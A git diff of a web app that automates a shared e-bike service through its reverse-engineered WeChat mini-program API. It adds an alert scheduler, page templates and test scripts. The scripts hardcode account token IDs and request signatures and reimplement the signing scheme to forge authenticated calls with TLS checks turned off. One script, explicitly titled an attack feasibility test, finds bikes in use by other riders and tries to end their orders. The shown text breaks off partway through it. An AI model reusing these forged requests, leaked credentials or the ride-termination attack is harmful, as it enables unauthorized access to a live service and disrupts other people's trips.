rule_desc), + ("筛选条件", filter_desc), ("播报时间", now_str), + ("符合条件", f"{n_cand} 辆"), + ("附近总数", f"{stat['total']} 辆(可用 {stat['available']})")] + if candidates: + top = candidates[:5] + details.append(("候选车辆", "、".join( + f"#{c['bike_code']}({c['kind_label']} {c['electric']:.0f}% {c['distance']}m)" + for c in top))) + + if unlock_result: + if unlock_result.get("success"): + bike = unlock_result["bike"] + details.append(("已开锁车辆", f"#{bike['bike_code']}({bike['kind_label']})")) + details.append(("车辆电量", f"{bike['electric']:.0f}%")) + details.append(("距停车点", f"{bike['distance']} 米")) + if unlock_result.get("order_id"): + details.append(("订单号", str(unlock_result["order_id"]))) + attempts = unlock_result.get("attempts") or [] + if len(attempts) > 1 or not unlock_result.get("success"): + detail_lines = [] + for a in attempts: + flag = "成功" if a["success"] else ("被占用,已避让" if a["occupied"] else "失败") + detail_lines.append(f"第{a['n']}次 #{a['bike_code']}:{flag}" + + ("" if a["success"] else f"({a['message']})")) + details.append(("尝试记录", ";".join(detail_lines))) + + plain = f"{title}\n\n{lead}\n\n" + "\n".join(f"{k}:{v}" for k, v in details) + html_body = _render_html(title, lead, details) + return send_email(to_email, f"【小白超人】{title}", plain, html_body) + +# ========== 调度 ========== + +def _scheduler_loop(): + while True: + try: + _tick() + except Exception as e: + print(f"[订阅提醒] 调度异常: {e}") + time.sleep(CHECK_INTERVAL) + + +def _tick(): + tz = dt.timezone(dt.timedelta(hours=8)) + now = dt.datetime.now(tz) + today = now.strftime("%Y-%m-%d") + weekday = now.isoweekday() + minute_of_day = now.hour * 60 + now.minute + + conn = get_db() + rules = conn.execute(""" + SELECT * FROM subscribe_rules + WHERE enabled = 1 AND weekday IN (0, ?) AND minute_of_day = ? + AND last_fired_on != ? + """, (weekday, minute_of_day, today)).fetchall() + if not rules: + conn.close() + return + # 先占位再发送,避免重试窗口内重复触发 + for r in rules: + conn.execute("UPDATE subscribe_rules SET last_fired_on = ? WHERE id = ?", (today, r["id"])) + conn.commit() + conn.close() + + for r in rules: + rule = dict(r) + if not rule.get("notify_enabled") and not rule.get("auto_unlock"): + continue + try: + ok = fire_rule(rule) + except Exception as e: + ok = False + print(f"[订阅提醒] 规则 {rule['id']} 发送失败: {e}") + print(f"[订阅提醒] 规则 {rule['id']} 已触发 (user={rule['user_id']}, 发送={ok})") + + +def start_subscribe_scheduler(): + t = threading.Thread(target=_scheduler_loop, daemon=True, name="subscribe-scheduler") + t.start() + print(f"[订阅提醒] 调度已启动(每 {CHECK_INTERVAL}s 扫描一次)") diff --git a/templates/admin.html b/templates/admin.html new file mode 100644 index 0000000..ba8a1d7 --- /dev/null +++ b/templates/admin.html @@ -0,0 +1,928 @@ + + + + + +管理后台 - 电动车地图 + + + + + + + +
+ +
+
-
注册用户
+
-
进行中订单
+
-
已完成订单
+
-
总订单
+
-
激活共享关系
+
-
待处理申请
+
-
登录会话
+
+ +
+ +
+
+
+
+
+
+
+
+
+
+
+
+ + + +
+ + + + + + + diff --git a/templates/admin_login.html b/templates/admin_login.html new file mode 100644 index 0000000..9a657a1 --- /dev/null +++ b/templates/admin_login.html @@ -0,0 +1,31 @@ + + + + + + 管理员登录 + + + + +
+ +

管理员登录

+ + + {% if error %} + + {% endif %} + +
+ + + + + + + +
+
+ + diff --git a/templates/analysis.html b/templates/analysis.html new file mode 100644 index 0000000..37edc27 --- /dev/null +++ b/templates/analysis.html @@ -0,0 +1,1473 @@ + + + + + + 数据分析 - 小白超人 + + + + + +
+ +
数据分析
+
+
+ +
+ + + +
+
+
采集车辆
+
-
+
等待加载...
+
+
+
数据时间范围
+
-
+
最近24小时
+
+
+
数据采集时间
+
-
+
最近更新
+
+
+
可用车辆
+
-
+
状态分布
+
+
+ + +
+ + + +
+ + +
+
车辆轨迹回放
+ +
+
+ + +
+
+ + +
+
+ + + +
+
+ + 点击"加载轨迹"查看 +
+
+
+ + + +
+ + 提示:轨迹点按智能间隔采集(白天5-10分钟,深夜30-60分钟)。 + 🟢 绿色=可用 🔴 红色=使用中 🟠 橙色=欠压车辆 🟣 紫色=损坏车辆 ⚫ 灰色=低电量 +
+
+ + + + + + + +
+ + 分析功能会采集并存储车辆位置数据,用于轨迹回放和分布分析。数据按智能间隔自动采集。 +
+
+ + + + + + + + + diff --git a/templates/email_return.html b/templates/email_return.html new file mode 100644 index 0000000..532f563 --- /dev/null +++ b/templates/email_return.html @@ -0,0 +1,84 @@ + + + + + + + 小白超人·确认还车 + + + + + +
+
小白超人·安全还车
+ {% if mode == 'confirm' %} +
↻
+

正在核对订单

+

请稍候,系统正在安全读取邮件中的还车凭证。

+ + +
确认后将立即向车辆服务发起还车请求
+ + {% else %} +
{% if mode == 'success' %}✓{% else %}!{% endif %}
+

{{ title }}

+

{{ message }}

+ {% if mode == 'retry' %} +
+ + +
+ {% endif %} + {% endif %} +
+ + diff --git a/templates/map.html b/templates/map.html new file mode 100644 index 0000000..f1c5ea9 --- /dev/null +++ b/templates/map.html @@ -0,0 +1,999 @@ + + + + + + 电动车地图 + + + + + + + + + + +
+
+ ⏰ + 登录态即将到期 +
+
+ +
+
+ + +
+
+ ⏳ + 检测中... +
+
+ + + + + +
+
+ + + + + +
+ + +
+
+
电动车地图
+
加载中...
+
+
+
+ + --:-- +
+ + + +
+
+ + +
+
+ + --:-- + 剩余时长 · #----- +
+
+ + +
+
+ + +
+
+
+
+
正在加载车辆...
+
+ +
+ +
+ +
+
状态图例
+
可用 0
+
使用中 0
+
欠压 0
+
损坏 0
+
低电量 0
+
+
+ + +
+ + +
+ + +
+
+
+
+ 登录 + +
+
+
+ +
+
+ +
+
+ +
+

忘记密码 · 还没有账号?去注册

+
+
+ + +
+
+
+
+ 注册 + +
+
+
+ +
+
+
+ + +
+
+
+ +
+
+ +
+
+
+ + + + +
+
+
+
+ + + + +
+
+
+ +
+

已有账号?去登录

+
+
+ + + + + + + + + + + + + + +
+
+
+
+ 请在浏览器中打开下载 + +
+
+ 当前浏览器无法直接下载文件,请复制下面的链接到系统浏览器打开(1 小时内有效,换浏览器也可用)。 +
+ + +
+
+ + +
+
+
+
+ 请在电脑上下载安装 + +
+
+ 安装包为 Windows 程序,请复制下面的链接到电脑浏览器打开下载。 +
+ +
安装包为 Windows 程序,手机下载后无法运行。
+ +
+
+ + + + + +
+
+
+
+ + 批量寻铃 +
+ + +
+ + + +
+ + +
+ +
+ +
+
+ + +
+
+ + + + + 点击地图选择地点,或使用当前位置 +
+
+ + + + +
+
+ + 待选点:-- +
+
+ + +
+ +
+ +
+
+ + +
+
+
+
+
可用
+
0
+
✓
+
+
+
+
使用中
+
0
+
✓
+
+
+
+
欠压
+
0
+
✓
+
+
+
+
低电量
+
0
+
✓
+
+
+
+
损坏
+
0
+
✓
+
+
+ +
+ +
+
+
+
+ + +
+
+
+ 用车二维码 + +
+
+
+

请用微信扫码开锁

+ +
+
+
+ + +
+
+
+
+
你还车了吗?
+
您正在使用电动车
+
#51287
+
+ + +
+
+
+ + +
+ + +
+
+
+
+ 电动车 + #51287 +
+
+ + +
+
+ +
+ +
+
+ + + + + + + + +
+ --% +
+ +
+ 状态 + -- +
+
+ + +
+ + +
+
+
+ + + + +
+
是否启用丢失模式?
+
当开启丢失模式时,系统会自动连续帮你点击寻车按钮,在你退出网页或者主动点击退出时停止。
+
+ + +
+
+
+ + +
+
+
+
⚠️
+
token已失效,请重新登录
+
您的微信凭据已过期,请重新抓包获取最新的 Token ID(及 AccessToken)
+
+ +
+ + + + +
+ +
+ + + + +
+
+
+
+ + +
+
+
+ +
+ + +
+
+
+
+ 重置密码 + +
+
+
+ +
+
+
+ + +
+
+
+ +
+
+ +
+

返回登录

+
+
+ + + + + + + + + + + + + + + + + +
v1.6.0
+ + +
+
+
+
+ 版本更新说明 + +
+
+
+
+ + + + + + + + + + +
+
+ +
+ + +
+
+
+
+ 选择开锁账号 + +
+ +
+ +
+
+ + +
+
+
+
+ 还车确认 + +
+ + + +
+
+ + + + + + + + + + + + + +
+
+
+ + 确认还车 +
+
您有进行中的订单,确认要还车吗?
+
+ + +
+
+
+ + +
+
+
确认操作
+
--
+
+ + +
+
+
+ + +
+
+
+ + 追加 1 轮 +
+
当前这一轮到点后会自动还车并重新开锁同一辆车。
+
+ + +
+
+
+ + +
+
+
+ + 用车确认 +
+
您确定要开锁用车吗?
请确保车辆在场且可用。
+ +
+ + +
+
+
+ + + diff --git a/templates/ring_progress.html b/templates/ring_progress.html new file mode 100644 index 0000000..8e24d61 --- /dev/null +++ b/templates/ring_progress.html @@ -0,0 +1,263 @@ + + + + + + 全车寻铃进度 + + + + + +
+
+

+ + 全车寻铃 +

+

正在连接...

+
+ +
+
+
0
+
已完成
+
+
+
0
+
成功
+
+
+
0
+
失败
+
+
+ +
+
+ 0% +
+
+ +
+ + +
+ +
+
+ + + + diff --git a/test_api.py b/test_api.py new file mode 100644 index 0000000..552f306 --- /dev/null +++ b/test_api.py @@ -0,0 +1,34 @@ +import requests, time, json + +token_id = '1291378' +wx_signature = '8aab9d16b538ed83b02974937e90a0d70388020b' +timestamp = str(int(time.time())) + +headers = { + 'Host': 'bike.sdlongren.com', + 'hsf-x-signature': wx_signature, + 'hsf-x-timestamp': timestamp, + 'hsf-x-tokenid': token_id, + 'xweb_xhr': '1', + 'platform': 'xiaobai', + 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090c38)XWEB/8518', + 'content-type': 'application/json', + 'accept': '*/*', + 'referer': 'https://servicewechat.com/wx10426ca961518f43/98/page-frame.html', +} + +# 测试各接口 +tests = [ + ('/record/order', {'code': '51287', 'start_longitude': 116.98, 'start_latitude': 36.67}), + ('/record/checkLocation', {'longitude': 116.98, 'latitude': 36.67, 'bicycleCode': '51287'}), + ('/record/return', {'order_id': 15899504, 'longitude': 116.98, 'latitude': 36.67}), +] + +for path, body in tests: + resp = requests.post(f'https://bike.sdlongren.com{path}', headers=headers, json=body, timeout=10, verify=False) + data = resp.json() + print(path) + print(' rtn_code:', data.get('rtn_code')) + print(' code:', data.get('code')) + print(' message:', data.get('message')) + print(' data:', str(data.get('data'))[:200]) diff --git a/test_card_api.py b/test_card_api.py new file mode 100644 index 0000000..78a9eb4 --- /dev/null +++ b/test_card_api.py @@ -0,0 +1,46 @@ +import requests, time, json + +token_id = '1291378' +wx_signature = '8aab9d16b538ed83b02974937e90a0d70388020b' +timestamp = str(int(time.time())) + +headers = { + 'Host': 'bike.sdlongren.com', + 'hsf-x-signature': wx_signature, + 'hsf-x-timestamp': timestamp, + 'hsf-x-tokenid': token_id, + 'xweb_xhr': '1', + 'platform': 'xiaobai', + 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090c38)XWEB/8518', + 'content-type': 'application/json', + 'accept': '*/*', + 'referer': 'https://servicewechat.com/wx10426ca961518f43/98/page-frame.html', +} + +tests = [ + # GET /user/packages - 我的卡包列表 + ('GET', '/user/packages', None), + # GET /packages/mapp - 推荐卡包列表 + ('GET', '/packages/mapp', None), + # GET /bus_packages/user_packages - 我的公交卡包 + ('GET', '/bus_packages/user_packages', None), +] + +for method, path, body in tests: + url = f'https://bike.sdlongren.com{path}' + if method == 'GET': + resp = requests.get(url, headers=headers, timeout=10, verify=False) + else: + resp = requests.post(url, headers=headers, json=body, timeout=10, verify=False) + data = resp.json() + print(f'=== {method} {path} ===') + print(' rtn_code:', data.get('rtn_code'), 'code:', data.get('code')) + print(' message:', data.get('message')) + if data.get('data'): + print(' data keys:', list(data.get('data', {}).keys())) + d = data['data'] + # 打印卡包信息 + for k in ['bike_packages', 'packageList', 'package', 'packages', 'memberPackageCount', 'memberPackage']: + if k in d: + print(f' {k}:', str(d[k])[:300]) + print() diff --git a/test_card_api2.py b/test_card_api2.py new file mode 100644 index 0000000..3d486d4 --- /dev/null +++ b/test_card_api2.py @@ -0,0 +1,45 @@ +import requests, time, json + +token_id = '1291378' +wx_signature = '8aab9d16b538ed83b02974937e90a0d70388020b' +timestamp = str(int(time.time())) + +headers = { + 'Host': 'bike.sdlongren.com', + 'hsf-x-signature': wx_signature, + 'hsf-x-timestamp': timestamp, + 'hsf-x-tokenid': token_id, + 'xweb_xhr': '1', + 'platform': 'xiaobai', + 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090c38)XWEB/8518', + 'content-type': 'application/json', + 'accept': '*/*', + 'referer': 'https://servicewechat.com/wx10426ca961518f43/98/page-frame.html', +} + +tests = [ + # GET /user/packages - 从JS逆向得到的"我的卡包" + ('GET', '/user/packages', None), + # 看看/user/info 里的 package 和 memberPackageCount + ('GET', '/user/info', None), + # 可能的变体路径 + ('GET', '/user/package', None), + ('GET', '/user/memberPackage', None), + ('GET', '/user/myPackage', None), + ('GET', '/packages/user', None), + ('GET', '/packages/my', None), +] + +for method, path, body in tests: + url = f'https://bike.sdlongren.com{path}' + if method == 'GET': + resp = requests.get(url, headers=headers, timeout=10, verify=False) + else: + resp = requests.post(url, headers=headers, json=body, timeout=10, verify=False) + data = resp.json() + print(f'=== {method} {path} === rtn_code={data.get("rtn_code")} code={data.get("code")}') + if data.get('rtn_code') == 0 and data.get('data'): + for k, v in data['data'].items(): + if 'package' in k.lower() or 'card' in k.lower() or 'member' in k.lower() or 'count' in k.lower(): + print(f' {k}: {str(v)[:200]}') + print() diff --git a/test_card_full.py b/test_card_full.py new file mode 100644 index 0000000..754f40a --- /dev/null +++ b/test_card_full.py @@ -0,0 +1,41 @@ +import requests, time, json + +token_id = '1291378' +wx_signature = '8aab9d16b538ed83b02974937e90a0d70388020b' +timestamp = str(int(time.time())) + +headers = { + 'Host': 'bike.sdlongren.com', + 'hsf-x-signature': wx_signature, + 'hsf-x-timestamp': timestamp, + 'hsf-x-tokenid': token_id, + 'xweb_xhr': '1', + 'platform': 'xiaobai', + 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090c38)XWEB/8518', + 'content-type': 'application/json', + 'accept': '*/*', + 'referer': 'https://servicewechat.com/wx10426ca961518f43/98/page-frame.html', +} + +# 获取推荐卡包的完整字段 +resp = requests.get('https://bike.sdlongren.com/packages/mapp', headers=headers, timeout=10, verify=False) +data = resp.json() +print('=== 推荐卡包完整字段 ===') +if data.get('rtn_code') == 0 and data.get('data', {}).get('bike_packages'): + pkg = data['data']['bike_packages'][0] + print(json.dumps(pkg, ensure_ascii=False, indent=2)) + print() + print('所有字段:', list(pkg.keys())) + +# /user/info 里的 package 字段完整内容 +resp2 = requests.get('https://bike.sdlongren.com/user/info', headers=headers, timeout=10, verify=False) +data2 = resp2.json() +print('=== user/info 中的 package 字段 ===') +pkg_data = data2.get('data', {}).get('package', {}) +print(json.dumps(pkg_data, ensure_ascii=False, indent=2)) +print() +print('package 所有字段:', list(pkg_data.keys())) + +# memberPackageCount +print('memberPackageCount:', data2['data'].get('memberPackageCount')) +print('spec_count:', data2['data'].get('spec_count')) diff --git a/test_coords.py b/test_coords.py new file mode 100644 index 0000000..19f7bc5 --- /dev/null +++ b/test_coords.py @@ -0,0 +1,43 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""测试API坐标""" + +import requests +import json +import time +import hashlib +import urllib3 +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +HEADERS = { + 'Host': 'bike.sdlongren.com', + 'hsf-x-tokenid': '1291378', + 'xweb_xhr': '1', + 'platform': 'xiaobai', + 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090c38)XWEB/8518', + 'content-type': 'application/json', + 'accept': '*/*', + 'referer': 'https://servicewechat.com/wx10426ca961518f43/98/page-frame.html', +} + +ts = str(int(time.time())) +raw = f"1291378GET/project/map{ts}" +sig = hashlib.sha256(raw.encode()).hexdigest()[:40] +HEADERS['hsf-x-timestamp'] = ts +HEADERS['hsf-x-signature'] = sig + +resp = requests.get('https://bike.sdlongren.com/project/map?type=3', headers=HEADERS, verify=False) +data = resp.json() + +# 打印返回的学校中心坐标和前3辆车的坐标 +if data.get('rtn_code') == 0 and data.get('data'): + d = data['data'] + print('=== 学校中心坐标 ===') + print(f'centerLatitude: {d.get("centerLatitude")}') + print(f'centerLongitude: {d.get("centerLongitude")}') + print() + print('=== 前3辆车坐标 ===') + for i, bike in enumerate(d.get('bicycleStation', [])[:3]): + print(f'{i+1}. code={bike.get("code")}, lat={bike.get("latitude")}, lng={bike.get("longitude")}') +else: + print('请求失败:', data) diff --git a/test_order_status.py b/test_order_status.py new file mode 100644 index 0000000..aa10f07 --- /dev/null +++ b/test_order_status.py @@ -0,0 +1,270 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +""" +测试:读取当前账号的还车状态和骑行开始时间 +======================================== +使用 app.py 中硬编码的凭据 (token_id=1499773, wx_signature=db057ef3...) +1. 查 /user/info → 获取 nonDealOrder +2. 调 /record/refresh → 获取已用时间/费用 +3. 调 /record/detail → 获取订单详情(含开始时间) +""" + +import json +import time +import hashlib +import sys +from pathlib import Path + +import urllib3 +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +try: + import requests +except ImportError: + print("[!] 需要安装 requests 库: pip install requests") + sys.exit(1) + +if sys.platform == "win32": + sys.stdout.reconfigure(encoding="utf-8") # type: ignore + +# ============================================================ +# 配置 +# ============================================================ + +WECHAT_BASE = "https://bike.sdlongren.com" +TOKEN_ID = "1499773" + +WECHAT_HEADERS = { + "Host": "bike.sdlongren.com", + "hsf-x-timestamp": "", + "hsf-x-tokenid": TOKEN_ID, + "xweb_xhr": "1", + "platform": "xiaobai", + "user-agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 " + "(KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 " + "MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI " + "MiniProgramEnv/Windows WindowsWechat/WMPF " + "WindowsWechat(0x63090c38)XWEB/8518", + "content-type": "application/json", + "accept": "*/*", + "accept-language": "*", + "sec-fetch-site": "cross-site", + "sec-fetch-mode": "cors", + "sec-fetch-dest": "empty", + "referer": "https://servicewechat.com/wx10426ca961518f43/98/page-frame.html", +} + + +def compute_signature(token_id: str, timestamp: str, method: str, path: str, + data: dict = None, params: dict = None) -> str: + """模拟 app.py 的签名算法""" + if method.upper() == "GET": + params_str = "" + if params: + sorted_params = sorted(params.items()) + params_str = "&".join(f"{k}={v}" for k, v in sorted_params) + raw = f"{token_id}{method}{path}{timestamp}{params_str}" + else: + body_str = json.dumps(data, separators=(",", ":")) if data else "" + raw = f"{token_id}POST{path}{timestamp}{body_str}" + return hashlib.sha256(raw.encode()).hexdigest()[:40] + + +def wechat_get(path: str, params: dict = None) -> dict: + ts = str(int(time.time())) + sig = compute_signature(TOKEN_ID, ts, "GET", path, params=params) + headers = WECHAT_HEADERS.copy() + headers["hsf-x-timestamp"] = ts + headers["hsf-x-signature"] = sig + url = f"{WECHAT_BASE}{path}" + try: + resp = requests.get(url, params=params, headers=headers, + timeout=10, verify=False) + return resp.json() + except Exception as e: + return {"rtn_code": -1, "error": str(e)} + + +def wechat_post(path: str, data: dict = None) -> dict: + ts = str(int(time.time())) + sig = compute_signature(TOKEN_ID, ts, "POST", path, data=data) + headers = WECHAT_HEADERS.copy() + headers["hsf-x-timestamp"] = ts + headers["hsf-x-signature"] = sig + url = f"{WECHAT_BASE}{path}" + try: + resp = requests.post(url, json=data, headers=headers, + timeout=10, verify=False) + return resp.json() + except Exception as e: + return {"rtn_code": -1, "error": str(e)} + + +def print_title(title: str): + print() + print("=" * 65) + print(f" {title}") + print("=" * 65) + + +# ============================================================ +# 1. 查 /user/info → 获取 nonDealOrder +# ============================================================ + +def step1_user_info(): + print_title("第1步:查 /user/info 获取当前账号信息") + + result = wechat_get("/user/info") + if result.get("rtn_code") != 0: + print(f" [错误] rtn_code={result.get('rtn_code')}, message={result.get('message')}") + return None + + data = result.get("data", {}) + print(f" 用户信息获取成功") + + # 打印基础信息 + print(f" - schoolId: {data.get('schoolId')}") + print(f" - is_order: {data.get('is_order')}") # 1=有订单 + print(f" - bikeNum: {data.get('bikeNum')}") + print(f" - user_status: {data.get('auth', {}).get('status')}") + + # 重点:nonDealOrder + non_deal = data.get("nonDealOrder") + if not non_deal or not non_deal.get("order_id"): + print(f" - nonDealOrder: 无活跃订单") + return None + + print(f"\n ✅ 有活跃订单:") + print(f" order_id: {non_deal.get('order_id')}") + print(f" code (车牌号): {non_deal.get('code')}") + print(f" status: {non_deal.get('status')} (1=未支付, 2=进行中)") + print(f" type: {non_deal.get('type')} (3=电动车)") + print(f" lock_protocol_id: {non_deal.get('lock_protocol_id')}") + print(f" projectId: {non_deal.get('projectId')}") + + return non_deal + + +# ============================================================ +# 2. 调 /record/refresh → 获取已用时间/费用 +# ============================================================ + +def step2_refresh_order(order_id): + print_title("第2步:调 /record/refresh 获取订单实时状态") + + result = wechat_get("/record/refresh", params={"order_id": order_id}) + if result.get("rtn_code") != 0: + print(f" [错误] rtn_code={result.get('rtn_code')}, message={result.get('message')}") + return None + + data = result.get("data", {}) + print(f" /record/refresh 返回:") + for k, v in data.items(): + print(f" {k}: {v}") + + print() + if data.get("time") is not None: + print(f" ⏱️ 已用时间: {data['time']} (单位未知,可能是分钟或秒)") + print(f" 如果 time 是分钟,已骑行 {data['time']} 分钟") + print(f" 如果 time 是秒,已骑行 {int(data['time'])/60:.1f} 分钟") + + if data.get("money") is not None: + print(f" 💰 当前费用: {data['money']} 元") + + if data.get("state") is not None: + state_map = {"0": "未知", "1": "进行中", "2": "已结束", "9": "故障"} + print(f" 📌 订单状态码: {data['state']} ({state_map.get(str(data['state']), '未知')})") + + return data + + +# ============================================================ +# 3. 调 /record/detail → 获取订单详细信息 +# ============================================================ + +def step3_order_detail(order_id): + print_title("第3步:调 /record/detail 获取订单详情") + + result = wechat_get("/record/detail", params={"order_id": order_id}) + if result.get("rtn_code") != 0: + print(f" [错误] rtn_code={result.get('rtn_code')}, message={result.get('message')}") + return None + + data = result.get("data", {}) + print(f" /record/detail 返回:") + for k, v in data.items(): + print(f" {k}: {v}") + + # 尝试找时间相关字段 + time_keys = [k for k in data.keys() if "time" in k.lower() + or "date" in k.lower() or "start" in k.lower() + or "create" in k.lower() or "begin" in k.lower()] + if time_keys: + print(f"\n ⏱️ 时间相关字段:") + for k in time_keys: + print(f" {k}: {data[k]}") + + return data + + +# ============================================================ +# 4. 计算倒计时(假设19分钟限制) +# ============================================================ + +def step4_calc_countdown(refresh_data): + print_title("第4步:计算19分钟倒计时") + + if not refresh_data or refresh_data.get("time") is None: + print(" 缺少 time 数据,无法计算倒计时") + return + + time_val = int(refresh_data["time"]) + + # 试两种情况:time 是分钟 或 time 是秒 + for unit, divisor in [("秒", 1), ("分钟", 60)]: + elapsed_min = time_val / divisor + remaining = 19 - elapsed_min + if remaining > 0: + print(f" 假设 time 是{unit}: 已用 {elapsed_min:.1f} 分钟, 剩余 {remaining:.1f} 分钟") + print(f" 建议倒计时 = {remaining:.1f} 分钟 = {int(remaining * 60)} 秒") + else: + print(f" 假设 time 是{unit}: 已用 {elapsed_min:.1f} 分钟 (已超19分钟)") + + +# ============================================================ +# 主流程 +# ============================================================ + +def main(): + print("=" * 65) + print(" 查询当前账号的还车状态和骑行开始时间") + print("=" * 65) + print(f" API: {WECHAT_BASE}") + print(f" 凭据: token_id={TOKEN_ID}") + print() + + # 第1步:获取 nonDealOrder + non_deal = step1_user_info() + if not non_deal: + print("\n [!] 无活跃订单,无需继续") + return + + order_id = non_deal.get("order_id") + + # 第2步:刷新订单 + refresh_data = step2_refresh_order(order_id) + + # 第3步:订单详情 + detail_data = step3_order_detail(order_id) + + # 第4步:计算倒计时 + step4_calc_countdown(refresh_data) + + print() + print("=" * 65) + print(" 测试完成") + print("=" * 65) + + +if __name__ == "__main__": + main() diff --git a/test_rental_return_attack.py b/test_rental_return_attack.py new file mode 100644 index 0000000..2586ac8 --- /dev/null +++ b/test_rental_return_attack.py @@ -0,0 +1,479 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +""" +测试:关闭他人正在使用的车辆 — 攻击可行性验证 +============================================ +使用 app.py 中硬编码的凭据 (token_id=1499773, wx_signature=db057ef3...) 进行测试。 +不修改任何现有代码。 + +测试内容: + 1. 从地图获取"使用中"的车辆(直连微信 API) + 2. 在本地 DB 中查找匹配的租车记录 + 3. 用微信 API 尝试关车(他人的订单) + 4. 如 Flask 可用,额外测试本地无验证还车接口 +""" + +import json +import sqlite3 +import time +import hashlib +import sys +import os +from pathlib import Path + +import urllib3 +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +try: + import requests +except ImportError: + print("[!] 需要安装 requests 库: pip install requests") + sys.exit(1) + +# Windows GBK 编码兼容 +if sys.platform == "win32": + sys.stdout.reconfigure(encoding="utf-8") # type: ignore + + +# ============================================================ +# 配置 +# ============================================================ + +FLASK_BASE = "http://localhost:98" +WECHAT_BASE = "https://bike.sdlongren.com" + +# app.py 中硬编码的凭据 +TOKEN_ID = "1499773" +WX_SIGNATURE = "db057ef3a4dfa497c918996448ab05226e198371" + +DB_PATH = Path(__file__).parent / "users.db" + +WECHAT_HEADERS = { + "Host": "bike.sdlongren.com", + "hsf-x-signature": WX_SIGNATURE, + "hsf-x-timestamp": "", + "hsf-x-tokenid": TOKEN_ID, + "xweb_xhr": "1", + "platform": "xiaobai", + "user-agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 " + "(KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 " + "MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI " + "MiniProgramEnv/Windows WindowsWechat/WMPF " + "WindowsWechat(0x63090c38)XWEB/8518", + "content-type": "application/json", + "accept": "*/*", + "accept-language": "*", + "sec-fetch-site": "cross-site", + "sec-fetch-mode": "cors", + "sec-fetch-dest": "empty", + "referer": "https://servicewechat.com/wx10426ca961518f43/98/page-frame.html", +} + + +# ============================================================ +# 工具函数 +# ============================================================ + +def compute_signature(token_id: str, timestamp: str, method: str, path: str, + data: dict = None, params: dict = None) -> str: + """模拟 app.py 中的签名算法 (SHA256 取前40位)""" + if method.upper() == "GET": + params_str = "" + if params: + sorted_params = sorted(params.items()) + params_str = "&".join(f"{k}={v}" for k, v in sorted_params) + raw = f"{token_id}{method}{path}{timestamp}{params_str}" + else: + body_str = json.dumps(data, separators=(",", ":")) if data else "" + raw = f"{token_id}POST{path}{timestamp}{body_str}" + return hashlib.sha256(raw.encode()).hexdigest()[:40] + + +def wechat_request(method: str, path: str, data: dict = None, + params: dict = None) -> dict: + """用硬编码凭据直接请求微信 API""" + timestamp = str(int(time.time())) + sig = compute_signature(TOKEN_ID, timestamp, method, path, data, params) + headers = WECHAT_HEADERS.copy() + headers["hsf-x-timestamp"] = timestamp + headers["hsf-x-signature"] = sig + + url = f"{WECHAT_BASE}{path}" + try: + if method.upper() == "GET": + resp = requests.get(url, params=params, headers=headers, + timeout=10, verify=False) + else: + resp = requests.post(url, json=data, headers=headers, + timeout=10, verify=False) + return resp.json() + except Exception as e: + return {"rtn_code": -1, "error": str(e)} + + +def is_flask_alive() -> bool: + """检查本地 Flask 是否在运行""" + try: + r = requests.get(f"{FLASK_BASE}/", timeout=3) + return r.status_code < 500 + except Exception: + return False + + +def test_flask_rental_return(rental_id) -> dict: + """测试本地无验证还车接口""" + try: + r = requests.post( + f"{FLASK_BASE}/api/rental/return", + json={"rental_id": rental_id}, + timeout=5 + ) + return r.json() + except Exception as e: + return {"rtn_code": -1, "error": str(e)} + + +def get_local_db() -> sqlite3.Connection: + if not DB_PATH.exists(): + print(f" [!] 数据库文件不存在: {DB_PATH}") + return None + conn = sqlite3.connect(str(DB_PATH)) + conn.row_factory = sqlite3.Row + return conn + + +def bike_status_label(state: int, status: int) -> str: + if state == 1 and status == 1: + return "使用中" + elif state == 1: + return "可用" + elif state == 4: + return "欠压" + elif state == 2: + return "损坏" + elif state == 10: + return "低电量" + return f"未知(state={state},status={status})" + + +def print_title(title: str): + print() + print("=" * 65) + print(f" {title}") + print("=" * 65) + + +# ============================================================ +# 步骤 A:从地图获取使用中的车辆 +# ============================================================ + +def step_a_find_inuse_bikes(): + print_title("步骤 A:从地图获取车辆列表,筛选使用中的车辆") + + # 直接调微信 API(Flask 可能不在本地运行) + result = wechat_request("GET", "/project/map", params={"type": "3"}) + if result.get("rtn_code") != 0: + print(f" [错误] 微信地图API请求失败: {result.get('message', '未知')}") + return [] + + data = result.get("data", {}) + stations = data.get("bicycleStation", []) + if not stations: + print(" [!] 无车辆数据(type=3),尝试 type=1...") + result = wechat_request("GET", "/project/map", params={"type": 